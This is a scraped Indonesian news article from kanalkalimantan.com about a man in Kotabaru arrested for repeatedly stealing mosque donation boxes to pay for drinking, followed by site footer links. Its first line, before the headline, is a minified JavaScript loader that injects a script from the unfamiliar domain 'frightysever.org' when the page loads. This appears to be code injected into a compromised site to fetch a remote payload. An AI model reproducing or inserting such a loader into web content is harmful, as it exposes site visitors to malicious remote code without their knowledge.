(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kotabaru

Curi Uang Celengan Masjid buat Mabuk, Pria Ini Diringkus Tim Macan Bamega


KANALKALIMANTAN.COM, KOTABARU – Pria asal Kotabaru berinisal GP (31) akhirnya ditangkap Tim Macan Bamega Satuan Reskrim Polres Kotabaru di rumahnya, pada dini hari beberapa waktu lalu. Dia ditangkap karena melakukan sejumlah aksi pencurian kotak amal masjid dan mushalla.

Dari keterangannya, GP mengaku beraksi sebanyak 6 kali di 4 lokasi berbeda sejak Agustus 2021. Dia menyasar celengan wakaf masjid dan mushalla yang diletakkan di warung-warung dan toko.

 

Kapolres Kotabaru AKBP Andi Adnan Syafruddin saat memberikan keterangan dalam press release, Kamis (2/9/21) menjelaskan, aksi pelaku menjadi perhatian polisi karena meresahkan masyarakat.

Baca juga: Dispersip Kalsel-Rutan Pelaihari Kerjasama Penguatan Minat Baca

 

 

Barang bukti kotak amal yang diamankan di Mapolres Kotabaru. Foto: ist

“Terbongkarnya kasus pencurian itu diawali oleh tim Satreskrim Kotabaru melakukan patroli cyber, serta melihat informasi di media sosial. Ternyata ada yang memposting kehilangan celengan wakaf di beberapa lokasi, dari situ tim melakukan pengembangan dan hanya dalam kurun waktu 2 hari setelah menerima informasi, pelaku akhirnya dapat dibekuk di rumahnya,” terang Kapolres.

Dari aksinya, pelaku berhasil meraup uang sebanyak Rp 3 juta. Uang hasil curian dipakai mabuk-mabukan.

“Modus yang dilakukan pelaku adalah saat warung dan toko sudah tutup pada sore hari, ia mengambil kotak amal menggunakan motor dan dibawa ke suatu tempat sebelum akhirnya memecahkan kotak tersebut menggunakan palu,” kata AKBP Andi.

Atas tindakannya, pelaku dikenakan pasal 363 ayat 1 jo pasal 65 KHUP dengan ancaman kurungan penjara maksimal selama 7 tahun.
Dilain pihak, H Arul selaku perwakilan pengurus mushalla Al-Amin mengatakan, peristiwa itu bukan kali pertama dialami pihaknya.

“Kotak celengan wakaf Al-Amin diletakkan di salah satu warung. Menurut kami, kali ini sudah keterlaluan sehingga kami melaporkan kejadian tersebut ke polisi,” ucapnya.

Ia berterima kasih kepada jajaran kepolisian utamanya tim Macan Bamega Satreskrim Polres Kotabaru dengan sigap menangkap pelaku.
“Sekali lagi terima kasih kepada Macan Bamega dengan aksi cepatnya,” imbuhnya.

Sementara pelaku GP, saat ditanya kanalkalimantan.com mengaku jera dengan apa yang dilakukannya.

“Ya, saya menyesal. Memang sebagian uangnya saya pergunakan untuk mabuk, dan sebagiannya lagi buat keperluan sehari-hari karena untuk saat ini saya tidak bekerja,” ujar pelaku. (kanalkalimantan.com/muhammad)

Reporter: muhammad
Editor: cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.